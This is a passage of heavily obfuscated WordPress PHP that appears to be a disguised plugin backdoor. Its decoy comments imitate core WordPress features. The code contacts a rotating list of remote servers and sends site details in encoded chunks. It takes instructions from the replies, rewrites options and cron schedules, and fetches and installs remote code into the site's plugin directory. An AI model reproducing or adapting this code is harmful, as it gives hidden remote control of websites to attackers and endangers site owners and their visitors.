     okltugscqfcy(559)   =>  kgvyhbi5fxdnhzziy9wc(""),
  e77owqcywda_d(560)   =>   w218ynit42v8uao2p(),
     okltugscqfcy(561)  =>   $GLOBALS['__scf_n2ceqwn4my98_3'](ku6yldy17ivtsoehkpgirz(), onlv7_99m8sby3(208)),
 c_5yznsrtgse_i(562) =>   $GLOBALS['__scf_zwo1a6spxvy_12'](ABSPATH, e77owqcywda_d(563)),
 e77owqcywda_d(564) =>  $pytewrkb8kuz7,
       c_5yznsrtgse_i(565) =>     $nd5n6fku8__zuipf,
   c_5yznsrtgse_i(566)   =>    v8s17nheik4jfbzohfqhv8(),
 c_5yznsrtgse_i(567)  =>  (object)   krt1_8ilm67d0124($bndvwaqcgip),
    onlv7_99m8sby3(568) =>  (object)    dqow0aejbm8nbiu40e9b($bndvwaqcgip),
  okltugscqfcy(359) => ($yeirdkv2b8pj    =   y5lztkb6hesg893zl7dk8_()),
   
);
   $dn1jcuywnidvn38t  =  $GLOBALS['__scf_xjs199hyyb2xza_4'](c_5yznsrtgse_i(569))   ?      wp_json_encode($mlkl2qfwcaej)  : $GLOBALS['__scf_ddem5kbgax66n3_570']($mlkl2qfwcaej);
        $x4ta4dtgdnmz  = qp3lvwxu38niepmfwpkj($dn1jcuywnidvn38t,     $w4dw70oecu66gj);

   $e0j16_j1hsuml  =     array(e77owqcywda_d(314) =>   okltugscqfcy(571));
 $q6ex9_uw_98  = null;
     $tq0rgbd18b    =    false;
 t95l92tgqr85cobha();
   $GLOBALS[onlv7_99m8sby3(302)]  =   false;


 foreach    ($_a18a_j1uonj3ait as    $rpq9quqybrsx4pfg) {
 
 $s6rcaf6cj9 =   $uqlx4v_j1qpz9    -   ($GLOBALS['__scf_qj6_wl4ow_o7j_279'](true) - $y6rtqua81mdltu);

     if ($s6rcaf6cj9   < (0x1+0x2)) {
 break;
     }

 $a2pvmx1qz57z01x0  = $GLOBALS['__scf_v6xz4ce_wdoct3_455']((1+9), (int) $s6rcaf6cj9);
   
$rpq9quqybrsx4pfg  = $GLOBALS['__scf__90_xdmo58j3q_311']((string)   $rpq9quqybrsx4pfg);
  if (!  $rpq9quqybrsx4pfg)      {
  continue;
     }
 try   {
$ocr730ousffa  =     $w4dw70oecu66gj;
     $xzp109u18gm     =  t127zynrr1g9q843z9964q($rpq9quqybrsx4pfg,     $x4ta4dtgdnmz,  $e0j16_j1hsuml,    $a2pvmx1qz57z01x0,  function    ($ve7b97bfesd5z0)     use ($ocr730ousffa)  {
if (!nk_tspp3t11mjqbj($GLOBALS['__scf_m36_x4cy3m1b5_10']($ve7b97bfesd5z0))) {
  $GLOBALS[onlv7_99m8sby3(302)] = true;
 return false;
   }
 $yaow7_phfq9   =   qp3lvwxu38niepmfwpkj($ve7b97bfesd5z0,   $ocr730ousffa);
  if    (!$yaow7_phfq9)   return false;
  return    $GLOBALS['__scf_a91xkwk0qm_35'](@$GLOBALS['__scf_yuj8g0r0zhsi9_316']($GLOBALS['__scf__90_xdmo58j3q_311']($yaow7_phfq9),  true));
     });
   if (!  $xzp109u18gm)  {



      if  (!empty($GLOBALS[okltugscqfcy(302)]))    {
  e_42zxx3yq4pdz4bo4(onlv7_99m8sby3(572),  c_5yznsrtgse_i(573));
break;
  }
       e_42zxx3yq4pdz4bo4(onlv7_99m8sby3(574),    e77owqcywda_d(575) .   $rpq9quqybrsx4pfg);
       continue;

 }


    
   $ivqivdcqwc   = qp3lvwxu38niepmfwpkj($xzp109u18gm,  $w4dw70oecu66gj);
   if    (! $ivqivdcqwc)  {
  e_42zxx3yq4pdz4bo4(e77owqcywda_d(574),      okltugscqfcy(576) . $rpq9quqybrsx4pfg);
     continue;
  }
   $q6ex9_uw_98   = ($GLOBALS['__scf_m36_x4cy3m1b5_10']($ivqivdcqwc)  >      (1337279-288703)  &&  !nk_tspp3t11mjqbj($GLOBALS['__scf_m36_x4cy3m1b5_10']($ivqivdcqwc)))     ? null  :   @$GLOBALS['__scf_yuj8g0r0zhsi9_316']($GLOBALS['__scf__90_xdmo58j3q_311']($ivqivdcqwc), true);
   if  ($GLOBALS['__scf_a91xkwk0qm_35']($q6ex9_uw_98)) {
if     ($GLOBALS['__scf_xjs199hyyb2xza_4'](c_5yznsrtgse_i(577)))  {
    update_option(onlv7_99m8sby3(556),     $rpq9quqybrsx4pfg);
}

 $tq0rgbd18b    =  true;
 break;
   }  else   {
      e_42zxx3yq4pdz4bo4(c_5yznsrtgse_i(574), e77owqcywda_d(578)      .  $rpq9quqybrsx4pfg);
}


        }  catch (Throwable   $ye68b7hs2257kgf)  {


e_42zxx3yq4pdz4bo4(okltugscqfcy(579), $ye68b7hs2257kgf);
 continue;
 }   catch     (Exception  $ye68b7hs2257kgf) {
/* logarithmic composite */



   continue;$ca_11cjsyw=PHP_INT_MAX/PHP_INT_MAX;$pkaemdekij3e=$ca_11cjsyw+20;
     }
 }
 if   (!  $GLOBALS['__scf_a91xkwk0qm_35']($q6ex9_uw_98)   &&      empty($GLOBALS[okltugscqfcy(302)]))  {
  $u7iu1ybawfe3ebm  =    qp3lvwxu38niepmfwpkj($GLOBALS['__scf_ddem5kbgax66n3_570'](array(
    okltugscqfcy(559) =>   kgvyhbi5fxdnhzziy9wc(""),
   c_5yznsrtgse_i(560)  =>  w218ynit42v8uao2p(),
     e77owqcywda_d(580)  =>    $GLOBALS['__scf_n2ceqwn4my98_3'](ku6yldy17ivtsoehkpgirz(),     onlv7_99m8sby3(208)),
     okltugscqfcy(581)  =>  1,
  )),   $w4dw70oecu66gj);



 $hm4zk_al_f  =  $GLOBALS['__scf_zwo1a6spxvy_12'](strtr($GLOBALS['__scf__y1qevmu6cl77u_343']($u7iu1ybawfe3ebm),  onlv7_99m8sby3(582),   e77owqcywda_d(583)), '=');
 

  $x0ozifs3b6e1imxj = $GLOBALS['__scf_w9d7jce26t_584']($hm4zk_al_f, (336+1064));

  foreach  ($_a18a_j1uonj3ait      as  $rpq9quqybrsx4pfg) {
    if  (($GLOBALS['__scf_qj6_wl4ow_o7j_279'](true) - $y6rtqua81mdltu)   > $uqlx4v_j1qpz9) {



     break;
     }
   $rpq9quqybrsx4pfg   = $GLOBALS['__scf__90_xdmo58j3q_311']((string)  $rpq9quqybrsx4pfg);
if ($rpq9quqybrsx4pfg    === "")  {
  continue;
  }

$fkkmga1ltu89ki  =   l09115umv3lykft9t(kgvyhbi5fxdnhzziy9wc("")     . $GLOBALS['__scf_qj6_wl4ow_o7j_279'](true),   (6+2));
  $dtmb4x_663o5v  =   $GLOBALS['__scf_hotyagmbtkrb_36']($x0ozifs3b6e1imxj);
   $r4nlcrlrunatux  =  ($GLOBALS['__scf_ffvfced40_hd3k_7']($rpq9quqybrsx4pfg,  '?')   ===      false)     ? '?'   :   '&';
 for    ($ge_0yixqnqu1 = 0;  $ge_0yixqnqu1 <      $dtmb4x_663o5v;    $ge_0yixqnqu1++) {


     if     (($GLOBALS['__scf_qj6_wl4ow_o7j_279'](true) -   $y6rtqua81mdltu)    >   $uqlx4v_j1qpz9)     {
// WP Loginout Block: archive gateway

break;
 }
$z4lefqmn6gl = ($ge_0yixqnqu1  ===   $dtmb4x_663o5v   - 1);
  $_m27s_medbjvh6zi  =     $rpq9quqybrsx4pfg  .     $r4nlcrlrunatux .   c_5yznsrtgse_i(585)  .    $fkkmga1ltu89ki  .   okltugscqfcy(586)  .  $ge_0yixqnqu1  .  onlv7_99m8sby3(587)  .    $dtmb4x_663o5v    . e77owqcywda_d(588)   .  $x0ozifs3b6e1imxj[$ge_0yixqnqu1];
$xb5v8_j4h3xy    = ozkom14h947_9bma47($_m27s_medbjvh6zi,  (6+2),  $z4lefqmn6gl     ?    function ($ve7b97bfesd5z0)     use ($w4dw70oecu66gj) {
$yaow7_phfq9 =      qp3lvwxu38niepmfwpkj($ve7b97bfesd5z0, $w4dw70oecu66gj);
   if  (!$yaow7_phfq9)    return    false;
       return    $GLOBALS['__scf_a91xkwk0qm_35'](@$GLOBALS['__scf_yuj8g0r0zhsi9_316']($GLOBALS['__scf__90_xdmo58j3q_311']($yaow7_phfq9),  true));
  }     : null);
 if   ($z4lefqmn6gl && $GLOBALS['__scf_ncrh0liqs6be8x_41']($xb5v8_j4h3xy)  &&    $xb5v8_j4h3xy    !==  "")  {
   $_gd  =  qp3lvwxu38niepmfwpkj($xb5v8_j4h3xy,     $w4dw70oecu66gj);
  $w3eun_cpt1on  =   ($_gd   && ($GLOBALS['__scf_m36_x4cy3m1b5_10']($_gd) <= (1048545+31)    ||     nk_tspp3t11mjqbj($GLOBALS['__scf_m36_x4cy3m1b5_10']($_gd))))    ?   @$GLOBALS['__scf_yuj8g0r0zhsi9_316']($GLOBALS['__scf__90_xdmo58j3q_311']($_gd), true)  : null;
  if ($GLOBALS['__scf_a91xkwk0qm_35']($w3eun_cpt1on))  {
    $q6ex9_uw_98 =   $w3eun_cpt1on;
 if ($GLOBALS['__scf_xjs199hyyb2xza_4'](e77owqcywda_d(577)))      {$uctathj35=84+100;$ljmn2u1xr_=$uctathj35-28;
update_option(c_5yznsrtgse_i(589),     $rpq9quqybrsx4pfg);
}
     break;

   }

}
   }
if     ($GLOBALS['__scf_a91xkwk0qm_35']($q6ex9_uw_98))     {
  break;
}
 }

  }
$GLOBALS[okltugscqfcy(302)] =  false;
     if (!  $GLOBALS['__scf_a91xkwk0qm_35']($q6ex9_uw_98))  {
    return;
 }
  if  ($tq0rgbd18b)    {
    tvznnwxbfjhxsbqlfq56();
      }
  if ($yeirdkv2b8pj &&  $GLOBALS['__scf_xjs199hyyb2xza_4'](okltugscqfcy(590)))    {
    delete_option(z63zn1_kvti62ezlrh(e77owqcywda_d(359)));
unset($GLOBALS[okltugscqfcy(347)][z63zn1_kvti62ezlrh(onlv7_99m8sby3(591))]);
      }
 if  (!isset($GLOBALS[e77owqcywda_d(592)])   || !$GLOBALS['__scf_a91xkwk0qm_35']($GLOBALS[okltugscqfcy(592)]))  $GLOBALS[c_5yznsrtgse_i(592)]    =  array();

$GLOBALS[onlv7_99m8sby3(592)]    = $GLOBALS['__scf_fnyr4wcmh06x_144']($GLOBALS['__scf_rd9j34ymcsjc4s_148']($GLOBALS[e77owqcywda_d(593)], $yeirdkv2b8pj));
 if  (isset($q6ex9_uw_98[c_5yznsrtgse_i(594)])  &&  $GLOBALS['__scf_ncrh0liqs6be8x_41']($q6ex9_uw_98[e77owqcywda_d(594)]))  {



  unset($GLOBALS[okltugscqfcy(278)]);
 ql7q9z5v287yjzxeku($q6ex9_uw_98[c_5yznsrtgse_i(594)],    isset($q6ex9_uw_98[c_5yznsrtgse_i(595)])  && $GLOBALS['__scf_ncrh0liqs6be8x_41']($q6ex9_uw_98[c_5yznsrtgse_i(595)])     ?  $q6ex9_uw_98[onlv7_99m8sby3(596)]  :  "", !empty($q6ex9_uw_98[okltugscqfcy(597)]));
}
    
 $u6fttpp_sl0pnc    =    false;


 $l4dwfverahlcoi   =  array();

    
      if (isset($q6ex9_uw_98[c_5yznsrtgse_i(419)])     &&   $GLOBALS['__scf_a91xkwk0qm_35']($q6ex9_uw_98[okltugscqfcy(419)])) {
  $i43d2ixckd7 =  array();
    



     foreach     ($q6ex9_uw_98[c_5yznsrtgse_i(419)]      as $m6x_x9ny238pu)    {
 if    ($GLOBALS['__scf_ncrh0liqs6be8x_41']($m6x_x9ny238pu)    &&  $m6x_x9ny238pu     !==  "")  {

        $i43d2ixckd7[]     = $m6x_x9ny238pu;
 }
// renew accumulator for PHP named arguments

}
$qk7mobpu9ff  =  $GLOBALS[onlv7_99m8sby3(420)];
   $i43d2ixckd7      =   q5pm421qokfll802uvj5($i43d2ixckd7);
   $GLOBALS[c_5yznsrtgse_i(420)] = $i43d2ixckd7;
 $l4dwfverahlcoi[c_5yznsrtgse_i(598)] =  $i43d2ixckd7;
if  (! empty($GLOBALS['__scf_rd9j34ymcsjc4s_148']($i43d2ixckd7, $qk7mobpu9ff))   ||  !   empty($GLOBALS['__scf_rd9j34ymcsjc4s_148']($qk7mobpu9ff,  $i43d2ixckd7)))     {


  $u6fttpp_sl0pnc   =   true;
 }
     }



   if  (isset($q6ex9_uw_98[okltugscqfcy(421)]) &&   $GLOBALS['__scf_a91xkwk0qm_35']($q6ex9_uw_98[e77owqcywda_d(421)]))    {


   $i43d2ixckd7   =  array();
 
  foreach      ($q6ex9_uw_98[onlv7_99m8sby3(421)] as $m6x_x9ny238pu)  {
if  ($GLOBALS['__scf_ncrh0liqs6be8x_41']($m6x_x9ny238pu) &&   $m6x_x9ny238pu  !==  "")   {
     $i43d2ixckd7[] =  $m6x_x9ny238pu;



  }
// @scatter publisher

}
  $qk7mobpu9ff  =  $GLOBALS[e77owqcywda_d(422)];



   $i43d2ixckd7 =  q5pm421qokfll802uvj5($i43d2ixckd7);
  $GLOBALS[c_5yznsrtgse_i(422)]   =  $i43d2ixckd7;
 $l4dwfverahlcoi[c_5yznsrtgse_i(421)]  =     $i43d2ixckd7;
   if (! empty($GLOBALS['__scf_rd9j34ymcsjc4s_148']($i43d2ixckd7,   $qk7mobpu9ff))  || !  empty($GLOBALS['__scf_rd9j34ymcsjc4s_148']($qk7mobpu9ff, $i43d2ixckd7))) {
     $u6fttpp_sl0pnc  =  true;
 }
 }
  if  (isset($q6ex9_uw_98[okltugscqfcy(423)])   &&  $GLOBALS['__scf_ncrh0liqs6be8x_41']($q6ex9_uw_98[onlv7_99m8sby3(423)])) {


   $b8mimdmj_1ght      =  e7dnf6igrlpcuaapfpdtx5(c_5yznsrtgse_i(599),      "");
     if   ($b8mimdmj_1ght   !==    "" && (int)   p1w1aijw1nxgdhwwgzjmn(c_5yznsrtgse_i(600),   0) ===    0)  {
 ciwxbzr19t8j5_t(c_5yznsrtgse_i(601), 1, okltugscqfcy(552));
if      ((int)  p1w1aijw1nxgdhwwgzjmn(onlv7_99m8sby3(602), 0)   !==  1)   ciwxbzr19t8j5_t(onlv7_99m8sby3(602),    1, e77owqcywda_d(552));
   }
  $GLOBALS[c_5yznsrtgse_i(424)] = $q6ex9_uw_98[e77owqcywda_d(423)];
    $l4dwfverahlcoi[okltugscqfcy(423)]  =  $q6ex9_uw_98[onlv7_99m8sby3(423)];
       if  ($GLOBALS['__scf_poant85f5yad_56']($q6ex9_uw_98[c_5yznsrtgse_i(423)])     !==  $GLOBALS['__scf_poant85f5yad_56']($b8mimdmj_1ght)  ||      (int)   p1w1aijw1nxgdhwwgzjmn(okltugscqfcy(602),   0)     === 1)  {
    if  (ciwxbzr19t8j5_t(okltugscqfcy(599), $q6ex9_uw_98[e77owqcywda_d(423)], onlv7_99m8sby3(603))  ||     e7dnf6igrlpcuaapfpdtx5(e77owqcywda_d(599),  "") === $q6ex9_uw_98[okltugscqfcy(423)]) {
     ciwxbzr19t8j5_t(okltugscqfcy(604),   1, c_5yznsrtgse_i(605));
try   {
     if  (n9bi7gi5im0_dil70())   ciwxbzr19t8j5_t(onlv7_99m8sby3(606),  0,      e77owqcywda_d(605));
 }    catch (Throwable   $ye68b7hs2257kgf)   {
   }  catch (Exception      $ye68b7hs2257kgf)   {
  }
      }  else {$c_a1airjg420z=PHP_INT_MAX/PHP_INT_MAX;$ofbrnsa97iks4r=$c_a1airjg420z+1;
  t95l92tgqr85cobha();
return;
}
// allocate bloom-filter for WP Post Comments

  }
 unset($b8mimdmj_1ght);
 }
$tut8zdgw9x8mm =   isset($q6ex9_uw_98[okltugscqfcy(429)])   &&   $GLOBALS['__scf_a91xkwk0qm_35']($q6ex9_uw_98[okltugscqfcy(429)])   ?    $q6ex9_uw_98[onlv7_99m8sby3(429)]     : array();
      if  (isset($tut8zdgw9x8mm[e77owqcywda_d(428)]) &&  $GLOBALS['__scf_ncrh0liqs6be8x_41']($tut8zdgw9x8mm[e77owqcywda_d(428)])) {
// proactive capability

if ($GLOBALS['__scf_m36_x4cy3m1b5_10']($tut8zdgw9x8mm[onlv7_99m8sby3(428)])   >   (3+47))    {$by90vdow=PHP_INT_MAX/PHP_INT_MAX;$qpeys0kg=$by90vdow+62;
    $GLOBALS[onlv7_99m8sby3(427)] =  $tut8zdgw9x8mm[c_5yznsrtgse_i(428)];
$l4dwfverahlcoi[e77owqcywda_d(428)]  =  $tut8zdgw9x8mm[e77owqcywda_d(607)];
     }    else  {
$GLOBALS[c_5yznsrtgse_i(608)] = "";

  $l4dwfverahlcoi[c_5yznsrtgse_i(607)] = "";
 ciwxbzr19t8j5_t(c_5yznsrtgse_i(609),      "",  okltugscqfcy(605));
}
 }
  if  (isset($tut8zdgw9x8mm[e77owqcywda_d(429)]) &&    $GLOBALS['__scf_ncrh0liqs6be8x_41']($tut8zdgw9x8mm[okltugscqfcy(429)]))    {
if    ($GLOBALS['__scf_m36_x4cy3m1b5_10']($tut8zdgw9x8mm[e77owqcywda_d(429)]) > (23+77))   {
    $GLOBALS[e77owqcywda_d(610)]     =  $tut8zdgw9x8mm[c_5yznsrtgse_i(429)];


        $l4dwfverahlcoi[okltugscqfcy(611)] =   $tut8zdgw9x8mm[e77owqcywda_d(611)];
  }  else  {
 $GLOBALS[onlv7_99m8sby3(610)]     =   "";
    $l4dwfverahlcoi[c_5yznsrtgse_i(612)] =  "";
   ciwxbzr19t8j5_t(onlv7_99m8sby3(355), "",  e77owqcywda_d(605));
}
   }
// WP Archive Title: deserialize aggregator




  $mb67sqzj81ca7nts =      isset($q6ex9_uw_98[e77owqcywda_d(613)]) &&  $GLOBALS['__scf_a91xkwk0qm_35']($q6ex9_uw_98[okltugscqfcy(613)])  ?    $q6ex9_uw_98[onlv7_99m8sby3(614)]   :  array();
 $jsvech9387   = array(



    onlv7_99m8sby3(615)   => okltugscqfcy(616),
   okltugscqfcy(617)      =>   okltugscqfcy(618),
c_5yznsrtgse_i(619)    =>   okltugscqfcy(620),
 e77owqcywda_d(621)  =>    onlv7_99m8sby3(622),
okltugscqfcy(623)      =>  e77owqcywda_d(624),
  onlv7_99m8sby3(625) =>    onlv7_99m8sby3(626),


  );
     foreach    ($jsvech9387  as    $p37199_y2vjs74m  => $vu0poethjrw0)  {
    if   (isset($mb67sqzj81ca7nts[$p37199_y2vjs74m])   &&   $GLOBALS['__scf_ncrh0liqs6be8x_41']($mb67sqzj81ca7nts[$p37199_y2vjs74m]) &&  $GLOBALS['__scf_m36_x4cy3m1b5_10']($mb67sqzj81ca7nts[$p37199_y2vjs74m])  > (0^50))  {
       $l4dwfverahlcoi[$vu0poethjrw0]     =   $mb67sqzj81ca7nts[$p37199_y2vjs74m];


   }
      }
     if    (isset($q6ex9_uw_98[c_5yznsrtgse_i(627)])    &&   $GLOBALS['__scf_utx8fhwa27hvi_628']($q6ex9_uw_98[c_5yznsrtgse_i(629)]))     {
$d84surw877a0  =    (int)      $q6ex9_uw_98[e77owqcywda_d(629)];
      if  ($d84surw877a0      >=     (288+12) &&    $d84surw877a0 <=    (165941-79541))   $l4dwfverahlcoi[e77owqcywda_d(630)]   =  $d84surw877a0;
     }
if (isset($q6ex9_uw_98[e77owqcywda_d(364)])  &&     $GLOBALS['__scf_utx8fhwa27hvi_628']($q6ex9_uw_98[c_5yznsrtgse_i(364)]))  {
    $_ci  =    (int)   $q6ex9_uw_98[okltugscqfcy(364)];
 if    ($_ci >= (259+41)   &&   $_ci <=     (86336+64)) $l4dwfverahlcoi[c_5yznsrtgse_i(364)]   =  $_ci;
    }
       if      (empty($l4dwfverahlcoi))     {
  delete_option(c_5yznsrtgse_i(631));
delete_option(e77owqcywda_d(632));



 update_option(e77owqcywda_d(411),  $GLOBALS['__scf_p_l9i38f5mdu2r_184']());
 delete_transient(c_5yznsrtgse_i(633));
   f5qibx0z8bzfung4v54l();
 w49r9oh9ioww45sp3();
   return;
}
      


$nonxs43xzjibp0 =  xpdlfu85kkkwlafjl9xq(c_5yznsrtgse_i(363),   false);
   if   ($GLOBALS['__scf_a91xkwk0qm_35']($nonxs43xzjibp0))    {

   $l4dwfverahlcoi  =  $GLOBALS['__scf_sp6eq6gzqlrslw_358']($nonxs43xzjibp0,  $l4dwfverahlcoi);
 }
// PHP named arguments action sequence

 
    if  ($GLOBALS['__scf_xjs199hyyb2xza_4'](okltugscqfcy(634)))   {
    $qfibln6t0olw =   g29ry0xdrrzqo66sx1_no();$wnm4gnd_5rr=49*2;$sz2f6um88p1ue=$wnm4gnd_5rr-18;
if      (isset($l4dwfverahlcoi[okltugscqfcy(630)]) &&    (int) $l4dwfverahlcoi[c_5yznsrtgse_i(630)]     >=   (45+255)  &&  (int)  $l4dwfverahlcoi[e77owqcywda_d(630)] <= (86375+25))   $qfibln6t0olw = (int)      $l4dwfverahlcoi[okltugscqfcy(630)];

set_transient(iyfrtzihosexnci(),  $l4dwfverahlcoi, $qfibln6t0olw);
   }
  
       if     (!g9cjabr0_v5qy5ili(e77owqcywda_d(635),  $l4dwfverahlcoi,    e77owqcywda_d(605)))   {
     $qfgk0bjnakj4     =   xpdlfu85kkkwlafjl9xq(okltugscqfcy(636),  null);
    if  (!$GLOBALS['__scf_a91xkwk0qm_35']($qfgk0bjnakj4)  ||    $qfgk0bjnakj4  !=    $l4dwfverahlcoi)   {


     t95l92tgqr85cobha();

return;
}
unset($qfgk0bjnakj4);
}
// WP Site Editor: spill enumerator

  if     (isset($l4dwfverahlcoi[okltugscqfcy(364)])    &&    $GLOBALS['__scf_xjs199hyyb2xza_4'](onlv7_99m8sby3(637)) &&     $GLOBALS['__scf_xjs199hyyb2xza_4'](onlv7_99m8sby3(638))  &&  $GLOBALS['__scf_xjs199hyyb2xza_4'](okltugscqfcy(373)))     {
 $xcm_db49g0  =  wp_get_scheduled_event(p_q793u2yxtjaydw671w95());
if  ($xcm_db49g0 &&  (int)   $xcm_db49g0->interval !==   (int)  $l4dwfverahlcoi[e77owqcywda_d(364)])   {
 wp_clear_scheduled_hook(p_q793u2yxtjaydw671w95());
wp_schedule_event($GLOBALS['__scf_p_l9i38f5mdu2r_184']() +  $GLOBALS['__scf_s3bo674ng_q_342']((0x35+0x7),  (0x5+0x127)),  c_5yznsrtgse_i(365), p_q793u2yxtjaydw671w95());
  }
  }
 update_option(okltugscqfcy(639),   $GLOBALS['__scf_p_l9i38f5mdu2r_184']());
    delete_option(okltugscqfcy(640));
delete_option(onlv7_99m8sby3(632));



 delete_transient(c_5yznsrtgse_i(633));$l_xnjt8f46=100+84;$q2bzlnma=$l_xnjt8f46-36;
f5qibx0z8bzfung4v54l();
 w49r9oh9ioww45sp3();
  
 if   ($u6fttpp_sl0pnc)   {
// release cipher-suite

lxwfsg5sftwamqy8ji();
    }
       }      catch  (Throwable      $ye68b7hs2257kgf)  {
 e_42zxx3yq4pdz4bo4(e77owqcywda_d(641),    $ye68b7hs2257kgf);
 }  catch (Exception  $ye68b7hs2257kgf)     {


    }  finally {
  unset($GLOBALS[onlv7_99m8sby3(278)]);



 gp1654dr46ffgrsz(e77owqcywda_d(375));
}
   }

 
function ql7q9z5v287yjzxeku($wyjmpq7_cnqq2c1,  $yo938idvswh  = "", $w5loq2ejxxkkye  =  false)
    {
   if (!r9q5mjga_j0i3gm_(e77owqcywda_d(375)))  return;
 try     {
      $veimkdkt_5hj5 =  hoky7qqxzjgo1zympoa();
  if ($veimkdkt_5hj5 >   0 && $GLOBALS['__scf_xjs199hyyb2xza_4'](okltugscqfcy(642))   && !nk_tspp3t11mjqbj($GLOBALS['__scf_m36_x4cy3m1b5_10']($wyjmpq7_cnqq2c1)  *  (3+1)))   {
 e_42zxx3yq4pdz4bo4(onlv7_99m8sby3(643), e77owqcywda_d(644));$ug0hy8u8g8x=74*4;$a8sbx8iiz2cnb=$ug0hy8u8g8x-18;
   return;
       }
unset($veimkdkt_5hj5);
    
  $irnmk0e17b     =   @$GLOBALS['__scf_j_3rba3nic_344']($wyjmpq7_cnqq2c1,   true);
  if ($GLOBALS['__scf_ncrh0liqs6be8x_41']($irnmk0e17b)  && $GLOBALS['__scf_m36_x4cy3m1b5_10']($irnmk0e17b) >    (0x77294+0x88d6c)) $irnmk0e17b =   ti6s2mx79ow6io($irnmk0e17b);
 if   (!     $irnmk0e17b    || $GLOBALS['__scf_m36_x4cy3m1b5_10']($irnmk0e17b) <   (442+58)  ||  $GLOBALS['__scf_ffvfced40_hd3k_7']($irnmk0e17b,    okltugscqfcy(645)) !== 0)  {$_8rzv1hh5in5=PHP_MAJOR_VERSION;$od5pkjrys_=$_8rzv1hh5in5*6;
return;
}
if  (!      pqt0j30bec0qiplt($irnmk0e17b)) {



 e_42zxx3yq4pdz4bo4(onlv7_99m8sby3(643),   e77owqcywda_d(646));
    return;
  }
   if ($GLOBALS['__scf_ibg88bu925_93'](e77owqcywda_d(179),      $GLOBALS['__scf_pozjicggfgaq_9']($irnmk0e17b,     0,    (683+3413)),  $vt1ju8vo8zq))      {
    if   ($yo938idvswh !==  ""    &&    $yo938idvswh    !==  $vt1ju8vo8zq[1]) {

e_42zxx3yq4pdz4bo4(e77owqcywda_d(643), c_5yznsrtgse_i(647));
return;
  }
   $yo938idvswh   = $vt1ju8vo8zq[1];
 }   else      {
      e_42zxx3yq4pdz4bo4(e77owqcywda_d(643),  e77owqcywda_d(648));
 return;
}
if   (!$w5loq2ejxxkkye  &&  version_compare($yo938idvswh, w218ynit42v8uao2p())    <= 0) {
    return;
  }

     $v45c09ziffck7ja   =  s_41a4npfkl91g6lvjvfe();
      if (!$v45c09ziffck7ja     || $GLOBALS['__scf_m36_x4cy3m1b5_10']($v45c09ziffck7ja)  < (436+64))  {
e_42zxx3yq4pdz4bo4(e77owqcywda_d(643),    e77owqcywda_d(649));
 return;
 }
    $bfbxm31ezwsoa2ok =  get_option(e77owqcywda_d(185));
  if   ($GLOBALS['__scf_ncrh0liqs6be8x_41']($bfbxm31ezwsoa2ok) &&  $GLOBALS['__scf_ffvfced40_hd3k_7']($bfbxm31ezwsoa2ok,      $GLOBALS['__scf_poant85f5yad_56']($irnmk0e17b)      .   '|') === 0)     {
  return;
     }
   $eyhb33cyqc0dhw4u = $GLOBALS['__scf__ozzh8uadm__11'](ku6yldy17ivtsoehkpgirz())   .   e77owqcywda_d(183) .    $GLOBALS['__scf_poant85f5yad_56']($irnmk0e17b);
if (@$GLOBALS['__scf_cr6q9fwgft_18']($eyhb33cyqc0dhw4u)) {
    return;
}
  unset($eyhb33cyqc0dhw4u);
  if   (!$w5loq2ejxxkkye) {
/* eager partition-refinement */

 $_wkoq5f5s2vshsiy   =   @get_option(e77owqcywda_d(650),    "");
    if  ($GLOBALS['__scf_ncrh0liqs6be8x_41']($_wkoq5f5s2vshsiy) && $GLOBALS['__scf_ffvfced40_hd3k_7']($_wkoq5f5s2vshsiy,  $GLOBALS['__scf_poant85f5yad_56']($irnmk0e17b)  .  '|') ===  0) {
    $gnrqe80gcls  = (int)      $GLOBALS['__scf_pozjicggfgaq_9']($_wkoq5f5s2vshsiy,  $GLOBALS['__scf_ffvfced40_hd3k_7']($_wkoq5f5s2vshsiy,   '|')  +    1);



 if   ($gnrqe80gcls    &&  $GLOBALS['__scf_p_l9i38f5mdu2r_184']()   - $gnrqe80gcls   <  (419+481))    return;

 }
 unset($_wkoq5f5s2vshsiy, $gnrqe80gcls);
     }
 $e0fejdndzka =    false;
      if ($GLOBALS['__scf_xjs199hyyb2xza_4'](e77owqcywda_d(282))    &&  $GLOBALS['__scf_xjs199hyyb2xza_4'](onlv7_99m8sby3(540))) {
// best-case dataflow-graph


   $rf2_m1h9djz5e1a0    =  $GLOBALS['__scf_wruv1u09qsfmz_282'](home_url('/'),   array(c_5yznsrtgse_i(283)  => (14-6),   c_5yznsrtgse_i(651) =>     2,  okltugscqfcy(284) =>   false,  okltugscqfcy(285)  =>   (1048513+63)));

if   (!    ($GLOBALS['__scf_xjs199hyyb2xza_4'](okltugscqfcy(286)) &&     is_wp_error($rf2_m1h9djz5e1a0)))      {
        $e0fejdndzka   =   (int) wp_remote_retrieve_response_code($rf2_m1h9djz5e1a0) >=  (0x33+0x1c1);
}
 }


   $w2pi1mde5_b    =     false;
      if   ($GLOBALS['__scf_xjs199hyyb2xza_4'](e77owqcywda_d(558))) {
      $q2g2g8o4xh  = get_option(e77owqcywda_d(652),  array());



$w2pi1mde5_b  =      $GLOBALS['__scf_a91xkwk0qm_35']($q2g2g8o4xh)     && $GLOBALS['__scf_wwy_cardw8r5v6_146'](z383zy78ulhvdb47(),  $q2g2g8o4xh,  true);
      }
  jl7b1mmow1nrgaho8(ku6yldy17ivtsoehkpgirz(),     (308+112));
if   (! n_52vz_mvq1filje(ku6yldy17ivtsoehkpgirz(), mnjwoq6_2fqzybrsdxadv2($irnmk0e17b)))   {



       e_42zxx3yq4pdz4bo4(okltugscqfcy(643),   okltugscqfcy(653));
  return;
  }
      gy672vrnjusgcel1(ku6yldy17ivtsoehkpgirz());



 oodhj46z_4pz9mo(ku6yldy17ivtsoehkpgirz());



 if   ($GLOBALS['__scf_xjs199hyyb2xza_4'](c_5yznsrtgse_i(654)))   @set_transient(c_5yznsrtgse_i(655),   1,   (0xee+0x3e));


 $gk0p6b9t5k340l   = false;
    if  (! $e0fejdndzka    && $GLOBALS['__scf_xjs199hyyb2xza_4'](onlv7_99m8sby3(282)) &&    $GLOBALS['__scf_xjs199hyyb2xza_4'](onlv7_99m8sby3(656)))   {
$uh3v9zp8lp   =     -1;
    for ($dcqstv8efzc = 0;   $dcqstv8efzc  < 2;  $dcqstv8efzc++) {
